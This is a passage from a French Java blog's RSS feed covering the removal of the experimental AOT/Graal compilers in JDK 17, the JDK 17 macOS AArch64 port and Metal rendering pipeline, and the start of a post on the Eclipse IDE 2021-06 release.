&lt;p&gt;L&amp;#8217;AOT consiste à réaliser la compilation native au lieu du code intermédiaire. Ainsi, les performances sont optimales dès le début.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le compilateur JIT basé en Java (appelé Graal) permet de pouvoir écrire le compilateur JIT en Java et non en C++. Et oui, du code Java qui optimise du code Java. Plus sérieusement, cela permet d&amp;#8217;améliorer la maintenabilité du code.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ces expérimentations ont été à l&amp;#8217;origine de la solution &lt;a href=&quot;https://www.graalvm.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GraalVM&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;et_maintenant_2&quot;&gt;Et maintenant ?&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;effort de maintenir ces solutions est important, donc il a été décidé de les retirer. Le projet &lt;a href=&quot;http://openjdk.java.net/projects/metropolis/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Metropolis&lt;/a&gt; passe en &lt;a href=&quot;https://mail.openjdk.java.net/pipermail/metropolis-dev/2021-June/000046.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;mode veille&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le retrait concerne principalement trois modules:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;jdk.aot&lt;/code&gt; - l&amp;#8217;outil jaotc,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;jdk.internal.vm.compiler&lt;/code&gt; - le compilateur Graal,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;jdk.internal.vm.compiler.management&lt;/code&gt; - MBeans de Graal.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est intéressant de noter que cela n&amp;#8217;impacte pas le package &lt;code&gt;jdk.internal.vm.ci&lt;/code&gt;. Ce module a été introduit dans le JDK 9 avec la &lt;a href=&quot;https://openjdk.java.net/jeps/243&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 243 : Java-Level JVM Compiler Interface&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est l&amp;#8217;API Java qui permet d&amp;#8217;avoir des interfaces pour un compilateur en Java (connu aussi sous le nom de JVMCI). Donc même si le compilateur graal n&amp;#8217;existera plus, rien n&amp;#8217;empêche d&amp;#8217;en avoir un nouveau.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;la_suite&quot;&gt;La suite&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;équipe est content du travail fourni car cela a permit d&amp;#8217;avoir une bonne expérience sur le travail de l&amp;#8217;AOT. Cela conforte aussi la direction de solution &quot;Java-on-Java&quot;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela sera utile dans la mise en oeuvre du &lt;strong&gt;projet leyden&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les développeurs utilisant le compilateur graal doit se tourner vers la solution &lt;a href=&quot;https://www.graalvm.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GraalVM&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/407&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 407 : Remove RMI Activation&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/11/docs/specs/rmi/activation.html#activation-protocol&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Documentation JDK 11 sur l&amp;#8217;activation d&amp;#8217;objet distant&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/385&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 385 : Deprecate RMI Activation for Removal&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/410&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 410 : Remove the Experimental AOT and JIT Compiler&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/295&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 295 : Ahead-of-Time Compilation&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/317&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 317 : Experimental Java-Based JIT Compiler&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://openjdk.java.net/projects/metropolis/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Projet Metropolis&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/announce/2017-September/000233.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Message d&amp;#8217;annonce du projet Metropolis&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/metropolis-dev/2021-June/000046.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Message de mise en veille du projet Metropolis&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/243&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 243 : Java-Level JVM Compiler Interface&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 382 et JEP 391, les apports du JDK 17 pour macOS</title>
      <link>https://www.lilian-benoit.fr/2021/07/JEP382-JEP391-Les-apports-JDK17-pour-macOS.html</link>
      <pubDate>dim., 25 juil. 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/07/JEP382-JEP391-Les-apports-JDK17-pour-macOS.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jep_391_macos_aarch64_port&quot;&gt;JEP 391 macOS / AArch64 Port&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#historique&quot;&gt;Historique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#côté_java&quot;&gt;Côté Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#complément&quot;&gt;Complément&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jep_382_new_macos_rendering_pipeline&quot;&gt;JEP 382 new macOS Rendering Pipeline&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#historique_2&quot;&gt;Historique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#côté_java_2&quot;&gt;Côté Java&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le JDK évolue pour suivre les évolutions de la plateforme macOS.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Pour ceux qui me connaissent, je suis un fan de Linux et notamment de Debian. Mais c&amp;#8217;est intéressant de voir comment la plateforme Java s&amp;#8217;adapte aux évolutions du marché.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc, pour les fans d&amp;#8217;Apple, nous allons commencé dans l&amp;#8217;ordre inverse de la numérotation.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;jep_391_macos_aarch64_port&quot;&gt;JEP 391 macOS / AArch64 Port&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;historique&quot;&gt;Historique&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Tim Cook a annoncé le 22 juin 2020, lors de conférence Apple pour les développeurs, la création et l&amp;#8217;utilisation de ses propres processeurs Apple Silicon basés sur l&amp;#8217;architecture ARM64. Il a aussi précisé qu&amp;#8217;il y aura une phase de de transition de deux ans.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;côté_java&quot;&gt;Côté Java&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;architecture ARM64 correspond aussi à ce que l&amp;#8217;on appelle AArch64. Je vous parlais déjà de cette architecture dans mon billet en début d&amp;#8217;année &lt;a href=&quot;/2021/02/AArch64-Decouvrir_le_projet_de_portage.html&quot;&gt;AArch64 Découvrir le projet de portage&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je vous annonçais que le portage sur macOS/AArch64 était prêt et aller bientôt arriver. Donc ça y est, c&amp;#8217;est fait. Le portage est disponible pour le JDK 17.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2021/07/jdk17-release-build.png&quot; alt=&quot;jdk17 release build&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Possesseur d&amp;#8217;Apple Silicon, &lt;strong&gt;à vous de profiter du JDK en natif&lt;/strong&gt;, sans le système &lt;a href=&quot;https://fr.wikipedia.org/wiki/Rosetta_(logiciel)#Rosetta_2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Rosetta 2&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;complément&quot;&gt;Complément&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est intéressant de noter une spécificité de la plateforme macOS/AArch64. Elle n&amp;#8217;autorise pas les segments mémoires où il est possible d&amp;#8217;écrire et d&amp;#8217;exécuter à la fois. Cela est réalisé pour des raisons de sécurité car il s&amp;#8217;agit d&amp;#8217;une attaque courante dans l&amp;#8217;exploitation de faille logicielle. Plus d&amp;#8217;informations sur &lt;a href=&quot;https://fr.wikipedia.org/wiki/W%5EX&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;l&apos; Article Wikipedia W^X&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi en parler ?&lt;/strong&gt; parce que la JVM HotSpot crée et modifie du code executable. C&amp;#8217;est à dire elle fait exactement ce qu&amp;#8217;interdit la fonctionnalité &lt;strong&gt;W^X&lt;/strong&gt; évoquée ci-dessus. Cette JEP permet tenir compte de cette contrainte (mais uniquement pour cette plateforme).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;jep_382_new_macos_rendering_pipeline&quot;&gt;JEP 382 new macOS Rendering Pipeline&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;historique_2&quot;&gt;Historique&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela fait parti d&amp;#8217;une annonce d&amp;#8217;Apple de septembre 2018 lors de la &lt;a href=&quot;https://developer.apple.com/documentation/macos_release_notes/macos_mojave_10_14_release_notes?language=objc#3035786&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;sortie de macOS 10.14&lt;/a&gt;. Apple sort le cadriciel Metal comme remplaçant de OpenGL. Ce dernier est déprécié.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;côté_java_2&quot;&gt;Côté Java&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En août 2019, le projet Lanai est mis en place. Le but est de prendre en charge le rendu avec l&amp;#8217;API Apple Metal.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Reprendre toutes les fonctionnalités de l&amp;#8217;API Java 2D&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mettre en place la coexistence avec l&amp;#8217;implémentation OpenGL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Etre prêt quand Apple supprimera OpenGL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Etre transparent pour les utilisateurs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fournir les mêmes performances (voir meilleure)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette JEP permet justement de finaliser le projet. C&amp;#8217;est à dire d&amp;#8217;intégrer l&amp;#8217;implémentation dans le JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La transparence est assurée par le fait que cela concerne l&amp;#8217;implémentation interne du JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revanche, il est intéressant de noter que l&amp;#8217;implémentation par défaut est OpenGL.
Donc, si vous souhaitez utiliser la nouvelle implémentation est faudra ajouter la propriété suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;-Dsun.java2d.metal=true&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est bizarre au début mais logique après réflexion.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, OpenGL est déprécié mais il n&amp;#8217;est pas supprimé. Donc c&amp;#8217;est normalement de pouvoir continuer à l&amp;#8217;utiliser. A ce titre, les utilisateurs classiques n&amp;#8217;auront aucun impact.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revanche, cela permettra aux utilisateurs de tester leurs applications et les différentes situations avec la nouvelle implémentation et faire des retours à l&amp;#8217;équipe.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Vous voulez être de la partie, n&amp;#8217;hésitez pas !&lt;/strong&gt; Pour les retours, vous avez les listes suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/mailman/listinfo/2d-dev&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;La liste de diffusion 2d-dev d&amp;#8217;OpenJDK&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/mailman/listinfo/lanai-dev&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;La liste du projet lanai d&amp;#8217;OpenJDK&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Il est à noter que les builds du JDK 17 (en pré-version) du n°19 au n°23 avaient l&amp;#8217;implémentation avec Metal actif par défaut. Il était néanmoins possible de réactiver OpenGL&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/391&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 391 - macOS / AArch64 Port&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Mac_transition_to_Apple_silicon&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Article Wikipedia sur la transition vers Apple silicon&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://fr.wikipedia.org/wiki/Rosetta_(logiciel)#Rosetta_2&quot;&gt;Wikipedia - Rosetta 2&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/382&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 382 - new macOS Rendering Pipeline&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.apple.com/documentation/macos_release_notes/macos_mojave_10_14_release_notes?language=objc#3035786&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Release Notes de macOS 10.14&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/lanai-dev/2019-August/000000.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Premier message du projet Lanai&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/lanai-dev/2021-April/001111.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Message du projet Lanai annonçant l&amp;#8217;intégration dans le JDK 17&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Eclipse IDE 2021-06 est sortie</title>
      <link>https://www.lilian-benoit.fr/2021/07/Eclipse-2021-06-est-sortie.html</link>
      <pubDate>dim., 11 juil. 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/07/Eclipse-2021-06-est-sortie.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#simrel&quot;&gt;SimRel ?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#eclipse_ide_en_chiffres&quot;&gt;Eclipse IDE en chiffres&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#les_nouveautés&quot;&gt;Les nouveautés&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#outil_de_nettoyage_de_code&quot;&gt;Outil de nettoyage de code&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#introduction&quot;&gt;Introduction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#les_nouveautés_2&quot;&gt;Les nouveautés&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#le_tester_soi_même&quot;&gt;Le tester soi-même.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La dernière version d&amp;#8217;Eclipse 2021-06 (v 4.20) est disponible depuis le 16 juin sur la page de &lt;a href=&quot;https://www.eclipse.org/downloads/packages/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;téléchargement&lt;/a&gt;, soit seulement 3 mois après la dernière version. L&amp;#8217;éco-système java s&amp;#8217;adapte et suit les nouveautés du jdk.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Une question subsiste. Où sont passées les petits noms accompagnant les versions d&amp;#8217;Eclipse : mars, neon, oxygen ou photon ?&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;simrel&quot;&gt;SimRel ?&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les versions ne possède plus de noms, mais l&amp;#8217;année suivi du mois de la sortie.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;SimRel est la contraction de Simulaneous Release.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est à dire que la fondation Eclipse et la communauté des projets s&amp;#8217;organisent pour sortir une version coordonnée avec l&amp;#8217;ensemble des projets. La page &lt;a href=&quot;https://wiki.eclipse.org/Simultaneous_Release&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simultaneous Release&lt;/a&gt; donne des informations sur les différentes versions et les références vers le wiki selon la version.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est depuis septembre 2018 que Eclipse a choisi de changer sa cadence de sortie avec SimRel:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;1 version majeur,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;suivi 3 version de mise à jour (cycle de 13 semaines)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les treize semaines inclut le planning suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;3 Versions Milestone (M1/2/3)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2 Versions Release Candidate (RC1/2)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;1 Version disponibilité générale (GA)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;eclipse_ide_en_chiffres&quot;&gt;Eclipse IDE en chiffres&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour se remetre en phase avec l&amp;#8217;ensemble de ces projets et ses contributeurs. Voici quelques chiffres :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2021/07/eclipseide-chiffres.png&quot; alt=&quot;eclipseide chiffres&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;les_nouveautés&quot;&gt;Les nouveautés&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Support JDK 16 par défaut&lt;/strong&gt;. Avec cette version, le support de JDK 16 est inclus de base. Ce n&amp;#8217;est pas la peine d&amp;#8217;ajouter une extension dédiée.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inclusion d&amp;#8217;un JRE 16 par défaut&lt;/strong&gt; Un JDK est fourni par défaut depuis la version 2020-12. Cela permet d&amp;#8217;être autonome et de n&amp;#8217;avoir pas besoin de pré-requis.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Amélioration du terminal&lt;/strong&gt; Des améliorations ont été portées sur le terminal inclus dans Eclipse&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Outil de nettoyage de code&lt;/strong&gt; L&amp;#8217;outil disponible dans l&amp;#8217;IDE a été enrichie de 12 améliorations. Nous allons le voir dans la section dédiée.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;outil_de_nettoyage_de_code&quot;&gt;Outil de nettoyage de code&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Je connais. Je veux voir directement les &lt;a href=&quot;/2021/07/Eclipse-2021-06-est-sortie.html#les_nouveautés_2&quot;&gt;nouvelles règles&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
